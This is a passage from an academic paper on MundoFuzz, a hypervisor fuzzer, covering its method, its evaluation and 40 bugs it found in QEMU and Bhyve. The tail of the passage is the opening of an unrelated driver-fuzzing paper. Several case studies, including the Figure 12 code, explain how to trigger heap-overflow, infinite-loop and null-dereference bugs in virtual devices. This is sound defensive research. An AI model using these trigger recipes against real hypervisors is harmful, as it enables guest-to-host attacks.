already dependent to R⃗1 by the transitive nature of the de-
pendency graph. Next, MUNDOFUZZ retains the dependency
graph the same, as the absence of R⃗2 does not change any
following coverages ( b ). It is worth noting that R⃗2 and R⃗4
may not be logically dependent even if they are operationally
dependent. Finally, MUNDOFUZZ detects the dependency
edge between R⃗3 and R⃗4, since the absence of R⃗3 changes the
coverage of R⃗4 ( c ). Notice that the final dependency graph
coincides with the complete dependency graph illustrated
in Figure 1.

4.3 Fuzzing Hypervisor with Input Synthesis
Using the inferred semantic constraints, MUNDOFUZZ syn-
thesizes hypervisor inputs at fuzzing time. Since the synthesis
process also requires the clear coverage from the target device,
MUNDOFUZZ first provisions a mechanism to reduce the
noise coverage on-the-fly (§4.3.1). Using the noise-removed
coverage, MUNDOFUZZ further synthesizes hypervisor in-
puts and updates the dependency graph between IO requests
with newly identified IO requests (§4.3.2).

4.3.1 Noise Coverage Reduction

The overall concept of noise coverage reduction is similar to
§4.2.1 (i.e., removing the deterministic and non-deterministic
noises separately). However, it needs to be computationally
light because input synthesis is performed at fuzzing time.

To address this, MUNDOFUZZ optimizes the algorithm in
§4.2.1 with two ways. First, rather than recording the coverage
of each individual IO operation, MUNDOFUZZ records the
coverage of an IO request (i.e., a set of IO operations) as a
whole to reduce the number of coverage measurements. This
indeed widens the window of deterministic noise, but a typical
IO request is still much smaller than an entire hypervisor input
(63 vs. 68,574 IO operations on average).
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Second, rather than intersecting coverages multiple times,
MUNDOFUZZ pre-records all candidate non-deterministic
noises and subtracts them from the raw coverage at once.
Currently, MUNDOFUZZ finds candidate non-deterministic
noises using a dummy hypervisor input that does not reference
any device registers. This may miss some non-deterministic
noises, but is able to reveal the coverage from some asyn-
chronous hypervisor components (e.g., a timer).

4.3.2 Fuzzing and Input Synthesis

While maintaining input semantics is important, supplying
registers with correct values also has crucial importance. To
address this, we adopt two input corpora that are specialized
for capturing general dependency relations and specific reg-
ister values, respectively. In particular, the hypervisor input
corpus reserves entire hypervisor inputs with specific reg-
ister values as a whole, and the IO request corpus reserves
individual IO requests with the dependency graph of them.
Workflow. Figure 8 shows a workflow of hypervisor input
synthesis that consists of three stages; generation, mutation
and update. First, the generation stage provisions a base hy-
pervisor input by either i) creating a new hypervisor input
from the IO request corpus or ii) choosing a hypervisor input
in the hypervisor input corpus ( 1 ). Next, the mutation stage
mutates the base hypervisor input by modifying the regis-
ter values with reference to their inferred types ( 2 ). Finally,
the update stage analyzes the coverage feedback from the
mutated input and, if it discovers new coverage, updates the
dependency graph in the IO request corpus accordingly and
reserves the mutated input in the hypervisor input corpus ( 3 ).
Input Generation. MUNDOFUZZ first generates a base hy-
pervisor input by either randomly selecting a hypervisor input
in the hypervisor input corpus, or creating a new hypervisor
input using the dependency graph and the reserved IO re-
quests in the IO request corpus. In the current configuration,
we set the equal chances for both selecting a pre-reserved in-
put and creating a new one from the scratch. When creating
a new one, MUNDOFUZZ starts from the root IO request and
picks a random child IO request while going downward in
the dependency graph. The detailed algorithm is described in
Appendix A.
Input Mutation. Given a base hypervisor input from the
generation stage, MUNDOFUZZ mutates the value of registers
according to their types. The mutation method is universal for
all register types (i.e., AFL-style mutation including bit-flips
and random value assignments), but it depends on the register
types about how frequently it is applied or how the mutated
IO requests are regarded.

For control registers, we note that the value of control
registers largely determines the control flow inside the de-
vice. This suggests that mutating their values is likely to
alter the functionality of the original IO request. Noticing
this, MUNDOFUZZ first regulates the mutation probability
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Figure 9: Overview of the MUNDOFUZZ system.

to a small value (18% in the current configuration) to main-
tain the original functionality, and if the value is mutated,
MUNDOFUZZ regards the containing IO request as a new IO
request. For example in Figure 8, MUNDOFUZZ regards the
magenta-shaded IO request R⃗∗ as a new IO request, since it
mutates the control register bar+4 in R⃗4 from 0x08 to 0x16.

For data registers, we note that they generally accept a wide
range of value while they still do not commonly affect the con-
trol flow. Therefore, MUNDOFUZZ mutates their value with
a higher probability than control registers (30% in the current
configuration). For DMA address registers, MUNDOFUZZ
does not mutate the value but rather supplies a valid DMA
buffer address. Specifically, MUNDOFUZZ replays the buffer
allocation events at the beginning of the corresponding IO
requests and feeds the allocated addresses to such registers.

In addition, MUNDOFUZZ also mutates the value of
DMA buffers in a similar way to register values. In particu-
lar, MUNDOFUZZ handles DMA-address-typed buffer bytes
(marked in §4.2.2) in the same way as DMA address registers.
For the rest of DMA buffer bytes, MUNDOFUZZ currently
mutates them similar to data registers.
Corpus Update. After executing the mutated hypervisor in-
put, MUNDOFUZZ updates two corpora according to the cov-
erage feedback. Specifically, if the mutated input discovered
new coverage, MUNDOFUZZ adds the input to the hypervi-
sor input corpus for future fuzzing runs. Furthermore, if the
new coverage belongs to the new IO request, MUNDOFUZZ
adds the new IO request to the IO request corpus and update
the dependency graph accordingly. MUNDOFUZZ currently
constructs the new dependencies by copying the parent de-
pendency edges of the base IO request to the new IO request,
as the new IO request has replaced the base IO request in the
mutated input. For example in Figure 8, the new IO request
R⃗∗ copies the parent dependencies of the base IO request R⃗4.

5 Implementation

Figure 9 shows the overview of the MUNDOFUZZ system.
The system is largely divided into two components, namely
offline and fuzzing components. The offline component col-
lects hypervisor input traces and analyzes semantic infor-
mation (i.e., register types and IO request dependencies) be-

USENIX Association 31st USENIX Security Symposium    1265



Devices # of Accuracy
Regs. Raw Noise-reduced

QEMU

∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣

AC97 31 16.1% (-) 87.9% (+71.8%)
ES1370 13 38.5% (-) 92.3% (+53.8%)
Intel-HDA 33 15.2% (-) 87.9% (+72.7%)
Floppy 4 75.0% (-) 50.0% (-25.0%)
NVMe 9 44.4% (-) 100.0% (+55.6%)
E1000 299 2.3% (-) 98.0% (+95.7%)
E1000E 380 5.0% (-) 96.1% (+91.1%)
RTL8139 24 37.5% (-) 75.0% (+37.5%)
PCNET 3 0.0% (-) 100.0% (+100%)
AM53C974 16 23.1% (-) 84.6% (+61.5%)
MEGASAS 3 100.0% (-) 100.0% (0.0%)
OHCI 18 38.9% (-) 55.6% (+16.7%)
EHCI 7 57.1% (-) 85.7% (+28.6%)
XHCI 24 50.0% (-) 91.7% (+41.7%)

Bhyve
∣∣∣∣ Intel-HDA 34 14.7% (-) 91.2% (+76.5%)
E1000 305 3.0% (-) 98.7% (+95.7%)

Average 32.6% (-) 87.2% (+54.6%)

Table 2: Accuracy of inferred device register types using raw and
noise-reduced coverage. Highlighted numbers are +50% greater
than the result using raw coverage. All devices are from QEMU and
Bhyve.

fore fuzzing. The fuzzing component fuzzes the coverage-
instrumented hypervisor using the semantic information.
Logging Operating System. To collect hypervisor input
traces, we modified the Linux kernel 5.8.0 [16] to inter-
cept PIO (in/out{b,w,l}) and MMIO (write/read{b,w,l})
API functions. For DMA operations, we modified the DMA
buffer allocation function (dma_map_page_attrs()) to install
page fault traps on DMA buffers at runtime, and modified
the kernel-level page fault handler (handle_page_fault())
to record trapped DMA operations. Moreover, we imple-
mented x86-based instruction decoder based on [42] to in-
terpret DMA operations. To subdivide a hypervisor input
trace into IO requests, we modified the interrupt handler
(handle_irq_event()) to monitor completion signals.
Semantic Information Analyzer. We developed a semantic
information analyzer that implements the analysis algorithm
shown in §4.2.2 and §4.2.3. To obtain the coverage feedback
from the target hypervisor, we incorporated the instrumented
version of the target hypervisor with AFL’s instrumentation
compiler (afl-clang-fast).
MUNDOFUZZ-Fuzzer. We implemented MUNDOFUZZ-
Fuzzer based on AFL 2.57b [52] by making it compatible
with hypervisors. In particular, we enabled AFL to feed mul-
tiple inputs to the target hypervisor without shutting down
the running hypervisor. Again, we instrumented the target
hypervisor with AFL’s instrumentation compiler.
MUNDOFUZZ-OS. We implemented an agent OS called
MUNDOFUZZ-OS based on xv6 [32] to relay hypervisor in-
puts from MUNDOFUZZ-Fuzzer to the target hypervisor. To
supply MUNDOFUZZ-OS with hypervisor inputs, we bridged
MUNDOFUZZ-OS to MUNDOFUZZ-Fuzzer with a shared
disk image, where MUNDOFUZZ-OS polls new hypervisor
inputs that MUNDOFUZZ-Fuzzer presents. Since xv6 does not
provide a basic PCI device enumeration function, we added a

GRUB 2.0 support [10] with the Multiboot2 specification [33].
To support Bhyve, we added a basic UEFI support [23], which
can only boot UEFI-compatible OSes.

6 Evaluation

In this section, we compare MUNDOFUZZ to the state-of-the-
art hypervisor fuzzers, HYPER-CUBE and NYX, and demon-
strate the effectiveness of the key techniques in MUNDOFUZZ.
Specifically, we present the answers to the following research
questions through evaluation.

• RQ1. Does noise-reduced coverage help inferring se-
mantic constraints accurately? (§6.2)

• RQ2. How much does MUNDOFUZZ outperform state-
of-the-art hypervisor fuzzers in coverage wise? (§6.3)

• RQ3. Can MUNDOFUZZ discover unknown vulnerabili-
ties in hypervisors? (§6.4)

6.1 Evaluation Setup
We evaluated hypervisor fuzzers on a server-class machine
with Intel(R) Xeon(R) Gold 5118 CPU @ 2.30GHz and
512GB RAM running Ubuntu 18.04 LTS. We also used the
latest version of each hypervisor, i.e., QEMU 5.2.0 and Bhyve
13.0-release. An input trace obtained from individual user
applications (i.e., dd and fsck) was 68,574 IO operations on
average, 104,386 at maximum for USB-EHCI.

6.2 Register Type Inference Accuracy
To verify how much noise-reduced coverage improves the
accuracy of inferred semantic constraints, we compared the
accuracy of inferred register types when using raw coverage
feedback and noise-reduced coverage (RQ1). We referred
to the device specifications [1, 2, 4–7, 11, 17, 19–22, 24] for
ground-truth register types and only measured the accuracy
of control and data types. We only included the registers that
the corresponding virtual device implements, excluding the
registers that only exist in the documentation but are never
implemented in virtual devices.

Table 2 shows the accuracy of register types when they are
inferred with raw and noise-reduced coverage. Overall, noise-
reduced coverage significantly improves inference accuracy,
more than 50% in 10 of 16 virtual devices. On average, noise-
reduced coverage achieved 87.2% of register type inference
accuracy, while raw coverage stands at 32.6%. In particular,
noise-reduced coverage enables almost perfect inference in
E1000 and E1000E, while it merely works with raw coverage.

Exceptionally for Floppy, noise-reduced coverage ad-
versely affects the inference accuracy. Our investigation found
that Floppy uses some device registers for both data transfer
and command specification, which is incompatible to the cur-
rent inference mechanism that assumes a single type for each
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Figure 10: Branch coverage plot over the 24-hour fuzzing time. The
colored lines show the median of 8 trials on each hypervisor. The
shaded areas confine their best and worst coverage.
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Figure 11: Coverage change over fuzzing time on XHCI. NYX+
represents NYX with grammar specification (NYX-SPEC in [48]).

register. This case can be easily handled by incorporating a
data/control mixed type to inference, but we did not observe
such a mixed-typed register in other devices.

For OHCI, noise-reduced coverage does not improve much
accuracy. This is because some data registers in OHCI slightly
alter the control flow as a side-effect. In particular, they affects
the control flow of the internal queue update logic, which is
triggered every time data registers are updated. To address
this, the inference mechanism can adopt a threshold level to
ignore minor coverage disturbance.

6.3 Coverage Comparison
To demonstrate the performance benefit of MUNDOFUZZ, we
compared the code coverage of MUNDOFUZZ to the state-of-
the-art hypervisor fuzzers, HYPER-CUBE and NYX (RQ2).
We used the open-source version of NYX and reconstructed
HYPER-CUBE by referring to the base implementation of
NYX. In the following, we call NYX to indicate the version

Devices Branch Coverage Improvement
HYPER-CUBE NYX MUNDOFUZZ vs.HC vs.NYX

QEMU

∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣

AC97 100.00% 99.00% 100.00% 0.00% +1.00%
ES1370 87.50% 91.07% 91.07% +3.57% 0.00%
Intel-HDA 79.83% 79.00% 79.83% 0.00% +0.83%
Floppy 85.15% 85.15% 82.29% -2.24% -2.24%
RTL8139 75.62% 76.99% 76.92% +1.63% -0.07%
PCNET 78.13% 81.78% 75.52% -2.61% -6.26%
E1000E 71.51% 35.04% 70.23% -1.28% +35.19%
E1000 65.13% 51.97% 76.32% +11.19% +24.35%
NVMe 53.89% 54.15% 69.98% +16.09% +15.83%
AM53C974 63.45% 64.29% 65.13% +1.68% +0.84%
MEGASAS 63.97% 68.12% 72.27% +8.30% +4.15%
OHCI 68.49% 59.97% 76.79% +8.51% +16.82%
EHCI 67.06% 66.02% 69.26% +2.20% +9.29%
XHCI 66.48% 72.03% 81.77% +15.29% +9.74%

Bhyve
∣∣∣∣ Intel-HDA 50.00% 55.17% 56.89% +6.89% +1.72%
E1000 38.13% 47.93% 50.18% +12.05% +2.25%

Geomean +4.91% +6.60%

Table 3: Branch coverage on various virtual devices after 24 hours
of fuzzing. Each presented number is the median of 8 trials. Bold
percentages are the largest coverage on each device. vs.HC and
vs.NYX denote the relative improvement of MUNDOFUZZ over
HYPER-CUBE and NYX, respectively.

without a grammar specification (i.e., NYX-Legacy in [48]) on
which most of the evaluation were performed in the original
NYX paper. In addition, since NYX provides one manual
grammar specification only for XHCI (NYX-Spec in [48]),
we also compared MUNDOFUZZ to their grammar-specified
version on XHCI.

To compare coverage, we ran each hypervisor for 24 hours
and repeated 8 times, following the evaluation guideline sug-
gested by [41]. We measured coverage with Gcov [9] by
executing the entire corpus from each hypervisor with Gcov-
instrumented hypervisors every 10 minutes. We also restarted
hypervisors with the same interval to minimize the influence
of previous fuzzing campaign affecting the latter one.

Table 3 shows the median of final branch coverage and the
relative improvement of MUNDOFUZZ over HYPER-CUBE
and NYX. Overall, MUNDOFUZZ shows better performance
compared to HYPER-CUBE and NYX, outperforming on 12
out of all 16 virtual devices by an average margin of 4.91%
and 6.60%, respectively. Figure 10 shows the coverage plots
of the selected virtual devices that have exhibited significant
differences compared to HYPER-CUBE and NYX. The full
set of coverage plots can be found in Appendix D. We found
most of the under-performing virtual devices, such as E1000E
and PCNET, were related to networking. On such devices,
MUNDOFUZZ could not easily reach the branches inside
packet receive functions. This was mainly because Mund-
oFuzz was not able to collect hypervisor inputs for packet
receiving, possibly due to the fact that the collecting hyper-
visor setup did not receive network packets destined to those
devices.
NYX with Manual Grammar Specification. Since [48] in-
corporated manual grammar specification for XHCI to NYX,
we also compared NYX with the XHCI grammar specifica-
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Hypervisor Bug Types Numbers

QEMU

Use-after-free 3
Heap Overflow 2
Segmentation Fault 3
Infinite Loop 3
Stack Overflow 1
Assertion 11

Bhyve
Segmentation Fault 4
Floating Point Exception 1
Assertion 12

Table 4: New bugs found by MUNDOFUZZ.

tion [26] to MUNDOFUZZ. Figure 11 shows the time-course
change of XHCI coverage, where MUNDOFUZZ approaches
NYX with grammar specification (NYX+) in a slower pace.
We note that this is due to the incomplete dependency graph
from the inference stage, which MUNDOFUZZ requires time
to tune at fuzzing time. Nevertheless, MUNDOFUZZ eventu-
ally outpaces NYX+ in 20 hours and discovers more coverage
in the end at 48 hours, even without any manual information.

6.4 New Vulnerabilities
To verify if MUNDOFUZZ is able to discover unknown vul-
nerabilities, we fuzzed the latest version of hypervisors with
ASan [49] and MSan [51] (RQ3). Table 4 summarizes all
40 bugs that we newly discovered with MUNDOFUZZ, in-
cluding 9 CVEs from QEMU. For Bhyve, we have requested
CVEs and are waiting for response. The details of the bugs
are shown in Appendix C. In the following, we examine a
couple of new bugs and explain how MUNDOFUZZ was able
to discover them.
Case Study: Heap buffer overflow in QEMU AM53C974.
MUNDOFUZZ found a heap buffer overflow in the
AM53C974 virtual SCSI controller. In Figure 12, AM53C974
first allocates cache with a large buffer cache->buf (Line 6)
and initializes the limiting capacity cache->cap with a user-
provided value (Line 8). Then, it performs PIO writes to copy
data from PIO_buf to cache->buf (Line 13) and decrements
the copied amount from cache->cap (Line 14). This decre-
ment, however, can actually go over the initial capacity and
eventually makes cache->cap underflow. While this under-
flow does not lead to a buffer overflow immediately, it later
allows a DMA write with a huge write length (DMA_len) to
pass the safety check (Line 20) and trigger the out-of-bound
write (Line 21).

Reproducing this bug essentially requires two steps. First,
it has to keep underflowing cache->cap by performing PIO
writes enough times. Second, it must trigger the out-of-bound
access to cache->buf by performing a DMA write with a huge
write length (DMA_len). Thus, reproducing imposes multiple
PIO requests followed by a specific DMA write operation.
In this case, MUNDOFUZZ’s design significantly helps to
generate such an input—(i) MUNDOFUZZ is aware of the in-
dividual request format, the PIO request and DMA write oper-

1 struct C {char buf[MAX]; char* top; uint cap;};
2 struct C *cache; char PIO_buf[16];
3
4 // Step 0: init cache capacity.
5 void init_cache(uint capacity) {
6 cache = malloc(sizeof(struct C));
7 cache->top = &cache->buf[0];
8 cache->cap = capacity;
9 }

10
11 // Step 1: make cache capacity underflow.
12 void write_from_pio(uint PIO_len) {
13 memcpy(cache->top, PIO_buf, PIO_len);
14 cache->cap -= PIO_len; // underflow
15 cache->top += PIO_len;
16 }
17
18 // Step 2: access cache buffer out of bound.
19 void write_from_dma(char *DMA_addr, uint DMA_len) {
20 if (DMA_len <= cache->cap) // huge DMA_len - OK
21 memcpy(cache->top, DMA_addr , DMA_len); // crash
22 }

Figure 12: The heap buffer overflow crash in AM53C974.

ation (as presented in MUNDOFUZZ’s input collection §4.1);
(ii) MUNDOFUZZ knows how the individual request can be
connected—i.e., a PIO request can be followed by either a
PIO request or a DMA write (as presented in MUNDOFUZZ’s
dependency graph §4.2.3).

However, it would be challenging for grammar-unaware
fuzzers to generate such inputs, as it is aware of neither the in-
dividual request format nor how the request can be connected.

Case Study: Infinite Loop in QEMU E1000E.
MUNDOFUZZ discovered an infinite loop issue in the
E1000E virtual network device. When dequeueing a packet
from the receive ring buffer, E1000E checks whether it is a
null packet whose fields are all 0’s and accordingly discards
the packet to dequeue again. This causes E1000E to dequeue
an infinite number of null packets if the receive ring buffer is
filled with null packets, since a ring buffer never depletes the
element.

To reproduce the bug, E1000E first needs to be in the loop-
back mode, so that it can receive anything by transmitting to it-
self. However, exploring the loop-back mode is difficult as it is
controlled by a single bit in a control register, making it easily
overlooked while fuzzing. MUNDOFUZZ, on the other hand,
recognizes the IO request that enables the loop-back mode
as it modifies a control register. Furthermore, MUNDOFUZZ
incorporates it into the dependency graph to synthesize more
hypervisor inputs that run in the loop-back mode. As a re-
sult, MUNDOFUZZ succeeds to transmit a packet to itself no
matter how difficult it is.

Moreover, an input needs to transmit a packet as soon as
it configures the receive buffer, so that any other operations
do not clutter the zero-initialized queue with any non-zero
value. In this regard, the dependency graph readily guides
MUNDOFUZZ the way how to generate a minimum hypervi-
sor input that configures the receive buffer, sets the loop-back
mode, and transmits a packet.
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7 Discussion

Control Bytes in DMA Buffers. While MUNDOFUZZ han-
dles major characteristics of DMA, including IO request de-
pendencies established by DMA operations and DMA address
bytes inside DMA buffers, MUNDOFUZZ currently cannot
distinguish the control bytes in DMA buffers from plain data
bytes. In particular, the semantic roles of control bytes are sim-
ilar to the control registers. However, mutating control bytes
values do not necessarily change the following coverage im-
mediately, unlike the case of mutating control register values
which immediately change the coverage. This makes making
the current inferring algorithm of MUNDOFUZZ inaccurate
for the control bytes in DMA buffers. Correctly identifying
such control bytes is our future task.
Benefits of Statistical Coverage Measurement. When it
comes to the coverage measurement, MundoFuzz takes a
generic approach so that it does not need manual code mod-
ification. Furthermore, MundoFuzz leverages a statistical
method to remove coverage noise from such a generic ap-
proach. Manual approaches such as Kcov [13] may not suffer
from the coverage noise by manually skipping the coverage
measurement from interrupt handler threads, but this manual
modification should be individually done for each hypervisor.
Fuzzing Type-1 Hypervisors. The current implementation
and evaluation of MUNDOFUZZ mainly focus on Type-2 hy-
pervisors. In the future, MUNDOFUZZ can be extended to
support Type-1 hypervisors by nesting a Type-1 hypervisor
in an Intel PT-instrumented [12] Type-2 hypervisor, similar
to [48]. We note that this does not invalidate any design points
of MUNDOFUZZ, as all challenges remain the same in such
an environment. In particular, the coverage information from
an Intel PT-instrumented hypervisor is also tampered with an
asynchronous noise, and the virtual devices of Type-1 hyper-
visors still have complex input grammars.

8 Related work

Hypervisor Fuzzing. Early hypervisor fuzzing works fo-
cused on relatively simple IO interfaces, such as PIO, MMIO,
or hypercall interface [28, 30, 31, 37, 40, 43, 44]. For instance,
IOFuzz [44] creates random sequences of PIO operations.
Viridian [30] and Xen Test Framework [28, 31] invoke ma-
licious hypercalls within Hyper-V and Xen. To fuzz PI-
O/MMIO interfaces more efficiently, VDF [37] and Tang et
al. [40] utilize the collected IO traces to generate hypervisor
inputs. However, they do not aim to keep the input semantics
correct. Moreover, they modify the hypervisor itself to collect
IO traces and suppress coverage noise. On the other hand,
MUNDOFUZZ does not modify hypervisors at all.

The recent state-of-the-art hypervisor fuzzers are designed
to handle a complete set of IO interfaces, including DMA.
HYPER-CUBE [47] handles the DMA interface by writing

data to a scratch buffer. However, it does not generate seman-
tically correct inputs to explore complex device states.

NYX [48] addresses this limitation of HYPER-CUBE by
utilizing the grammar specification of each virtual device.
However, it requires a huge amount of manual efforts to em-
bed grammar specification for a number of devices. Moreover,
as mentioned in §6.3, MUNDOFUZZ demonstrates a higher
coverage only after 20 hours, while MUNDOFUZZ does not
require any kind of manual efforts.
Grammar Inference. In order to generate semantically valid
inputs, recent fuzzing techniques have been developed by
inferring grammars with given inputs [27,35,36,38,45]. In the
user level, various fuzzers [27, 35, 38] generated syntactically
valid inputs to fuzz programs accepting highly structured
input languages such as interpreters, compilers. Moreover,
kernel fuzzers [36, 45] also generate a sequence of correct
system calls by referring to system call dependencies.
IO Trace Monitor. From a utility software to kernel module,
the IO trace monitor is designed to debug or analyze the IO
event in the kernel. For the utility, iostat in sysstat [34] is user
application that monitors and report how many IO operations
happen. However, since the utility software have no privilege
to monitor IO trace directly, it simply provides statistic of IO
operation by reading a status file in sysfs.

For the kernel module, kprobe [14] enable the user to break
into any kernel routine and monitor IO events dynamically.
And, ftrace [8] provides several options to monitor dynamic
IO events. For example, ftrace gives by mmiotrace [25] op-
tions to trace MMIO operation utilizing the page fault mech-
anism. These modules have capabilities to monitor IO trace,
however, it cannot fully utilized to monitor the complete in-
terfaces because kprobe is inadequate to monitor the IO trace,
and ftrace is only possible to collect for MMIO interface.

To monitor extended IO trace in DMA interface, Periscope
[50] introduced IO trace monitor based on mmiotrace and
enable the monitor to observe DMA operations. However, it
is designed for Android kernel (AArch64), we implemented
to monitor x86-based DMA operation.

9 Conclusion

Despite the advancement of hypervisor fuzzing techniques,
exploring complex device states still remains challenging due
to the coverage noise and the low-level inputs that complicate
input generation. In this paper, we present MUNDOFUZZ,
the hypervisor fuzzer that enables complex device states
exploration, which removes coverage noise in raw cover-
age feedback and synthesizes semantically correct inputs
using inferred semantic constraints. The evaluation shows
that MUNDOFUZZ outperforms the state-of-the-art hypervi-
sor fuzzer HYPER-CUBE and NYX by 4.91% and 6.60%, re-
spectively. MUNDOFUZZ also found 40 new bugs in QEMU
and Bhyve, 9 of which are acknowledged as CVEs.
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Algorithm 1: CreateNewInput
Input G: Dependency graph between the IO requests in the corpus.
Output List of IO requests.
R = RootOf(G) // R: IO request
S = {R} // S: set of chosen IO requests
while HasChild(R) do

R = PickOneChildRandomly(R)
S← R
// Backtracking to resolve missing dependencies
Q = [R] // Q: IO request queue
while not Empty(Q) do

R’ = Dequeue(Q)
if not ParentsOf(R’) in S then

if BreakDependencyRandomly() then break
S← ParentsOf(R’)
Enqueue(Q, ParentsOf(R’))

return ToList(S)

A Input Generation Algorithm

Algorithm 1 describes how MUNDOFUZZ creates a new hy-
pervisor input given a dependency graph between IO requests.
Starting from the root IO request, the algorithm picks a ran-
dom child IO request and recursively repeats the process
until it reaches the leaf IO request. If there are multiple
root IO requests that are mutually independent to each other,
MUNDOFUZZ creates an empty IO request that joins all such
IO requests to make a unified root. If it encounters any unre-
solved dependency in this course, the algorithm probabilis-
tically resolves the dependency by backtracking the depen-

dency graph, or deliberately leaves it unresolved to break the
dependency and examine the corresponding behavior.

B Case Study: Null Dereference in QEMU
MEGASAS

MUNDOFUZZ found a null dereference issue in the
MEGASAS virtual RAID disk device. MEGASAS uses a
DMA buffer to perform several commands. The DMA buffer
contains parameters, such as control ID that determines which
command should be performed. When receiving a disk write
command, MEGASAS copies the DMA buffer to its inter-
nal queue. However, this copied buffer is set to 0 when
MEGASAS receives a device initialization command after-
wards, while leaving the disk write command still in the queue.
This causes MEGASAS to dereference a null pointer when it
is triggered to flush all pending commands.

In order to find this bug, following two challenges should
be addressed. First, it requires the DMA buffer should include
a specific control ID to perform MEGASAS commands. Sec-
ond, the bug requires following three commands in a right
order; i) write data to the disk, ii) initialize MEGASAS, iii)
flush all pending commands.

In this case, MUNDOFUZZ can easily generate the
needed DMA buffer from hypervisor inputs. Moreover, since
MUNDOFUZZ maintains the dependencies between IO re-
quests, it can try all three commands in order and quickly
discover the bug. However, it would be difficult to grammar-
unaware fuzzers, as they do not recognize the DMA buffer
and are hard to keep the orders.
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C List of Discovered Bugs

Hypervisor Description Device Status ID

QEMU

Infinite loop issue in e1000e_write_packet_to_guest E1000E Assigned CVE-2020-28916
Infinite loop issue in e1000e_ring_advance E1000E Assigned CVE-2020-25707
Infinite loop issue in process_tx_desc E1000 Assigned CVE-2021-20257
NULL pointer dereference issue in megasas_command_cancelled MEGASAS Assigned CVE-2020-35503
NULL pointer dereference issue in scsi_req_continue AM53C974 Assigned CVE-2020-35504
NULL pointer dereference issue in do_busid_cmd AM53C974 Assigned CVE-2020-35505
Use-after-free issue in flatview_write_continue AM53C974 Assigned CVE-2020-35506
Use-after-free issue in mptsas_process_scsi_io_Request MPTSAS1068 Assigned CVE-2021-3392
Use-after-free issue in esp_do_nodma AM53C974 Confirmed -
Stack overflow issue in flatview_read_continue AM53C974 Confirmed -
Heap buffer overflow issue in scsi_req_parse_cdb AM53C974 Confirmed -
Heap buffer overflow issue in esp_fifo_pop_buf() AM53C974 Requested -
Assertion in usb_packet_unmap at hcd-ehci.c EHCI Assigned CVE-2020-25723
Assertion in usb_msd_handle_data at dev-storage.c XHCI Fixed -
Assertion in fifo8_pop_buf at fifo8.c AM53C974 Fixed -
Assertion in fifo8_push_all at fifo8.c AM53C974 Fixed -
Assertion in mptsas_interrupt_status_write MPTSAS1068 Confirmed -
Assertion in address_space_stw_le_cached VirtIO-blk Requested -
Assertion in lsi_do_dma at lsi53c895a.c LSI53C810 Requested -
Assertion in esp_transfer_data() AM53C974 Requested -
Assertion in scsi_read_data() AM53C974 Requested -
Assertion in esp_do_dma at esp.c AM53C974 Fixed -
Assertion in esp_do_dma at esp.c AM53C974 Fixed -

Bhyve

Floating point exception issue in pci_nvme_handle_io_cmd at pci_nvme.c NVMe Requested -
Segfault issue in pci_nvme_pci_nvme_handle_admin_cmd at pci_nvme.c NVMe Requested -
Segfault issue in pci_nvme_append_iov_req at pci_nvme.c NVMe Requested -
Segfault issue in pci_nvme_handle_io_cmd at pci_nvme.c NVMe Requested -
Assertion in pci_nvme_cq_update at pci_nvme.c NVMe Requested -
Assertion in e82545_write_ra at pci_e82545.c E1000 Requested -
Assertion in e82545_transmit at pci_e82545.c E1000 Requested -
Assertion in e82545_write_register at pci_e82545.c E1000 Requested -
Segfault issue in e82545_transmit at pci_e82545.c E1000 Requested -
Assertion in hda_stream_start at pci_hda.c Intel-HDA Requested -
Assertion in hda_corb_run at pci_hda.c Intel-HDA Requested -
Assertion in hda_set_rirbctl at pci_hda.c Intel-HDA Requested -
Assertion in hda_set_corbctl at pci_hda.c Intel-HDA Requested -
Assertion in hda_stream_start at pci_hda.c Intel-HDA Requested -
Assertion in hda_set_sdctl at pci_hda.c Intel-HDA Requested -
Assertion in hda_set_dpiblbase at pci_hda.c Intel-HDA Requested -
Assertion in hda_stream_start at pci_hda.c Intel-HDA Requested -

Table 5: List of new bugs.
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Figure 13: The branch coverage over fuzzing time for 24 hours in QEMU and Bhyve (each 8 runs). Each plot shows maximum, minimum and
median result. * represents the virtual devices of Bhyve.
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Figure 14: Coverage change over time with various combinations of key techniques. RC and NC indicate pure coverage-guided fuzzing with
raw and noise-reduced coverage, respectively. NC+Reg and NC+Reg+Dep use inferred register types and dependency graphs in addition.

E Effectiveness Analysis

To elicit the performance benefit of each technique, we pre-
pared four combinations that cumulatively incorporate tech-
niques as follows; RC performs coverage-guided fuzzing with
raw coverage. NC reduces coverage noise with noise cov-
erage reduction. NC+Reg enables semantic input synthesis
with inferred register types. NC+Reg+Dep additionally utilizes
inferred dependency graphs for input synthesis.

Figure 14 shows the average coverage over fuzzing time
with the four combinations. For XHCI in Figure 14a, each
technique evenly contributes to the coverage expansion. In
particular, NC improves the coverage as the noise reduction
prevents MUNDOFUZZ being misled by coverage noise and
falsely reserving redundant inputs. Furthermore, NC+Reg mu-
tates register values in reference to their types, resulting in less
destructive mutation to input semantics. Finally, NC+Reg+Dep
proactively synthesizes semantically correct inputs and ex-
plores more complex control flows.

For ES1370 in Figure 14b, all coverages reach the satu-
ration point in a few minutes. This is because such simple
devices do not have complex control flow. For NVMe in
Figure 14c, although NC+Reg+Dep did not show better perfor-
mances to others, it eventually showed better performances
after 10 hours of run. Another thing to note is that NC+Reg
converges to NC in the end. This is because NVMe only has 9
registers, which is small enough to explore most value combi-
nations in 24 hours through random mutation.
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Abstract
Peripheral hardware in modern computers is typically as-
sumed to be secure and not malicious, and device drivers are
implemented in a way that trusts inputs from hardware. How-
ever, recent vulnerabilities such as Broadpwn have demon-
strated that attackers can exploit hosts through vulnerable
peripherals, highlighting the importance of securing the OS-
peripheral boundary. In this paper, we propose a hardware-
free concolic-augmented fuzzer targeting WiFi and Ether-
net drivers, and a technique for generating high-quality ini-
tial seeds, which we call golden seeds, that allow fuzzing to
bypass difficult code constructs during driver initialization.
Compared to prior work using symbolic execution or greybox
fuzzing, Drifuzz is more successful at automatically finding
inputs that allow network interfaces to be fully initialized, and
improves fuzzing coverage by 214% (3.1×) in WiFi drivers
and 60% (1.6×) for Ethernet drivers. During our experiments
with fourteen PCI and USB network drivers, we find twelve
previously unknown bugs, two of which were assigned CVEs.

1 Introduction

Built-in peripherals such as PCI devices have traditionally
been considered trusted. As a result, device drivers are often
written with the assumption that these peripherals’ control
interfaces are reliable (although they may ultimately deliver
untrusted data, such as network packets, to higher layers).
Modern peripherals, however, are complex devices with their
own firmware and vulnerabilities. If the firmware of a periph-
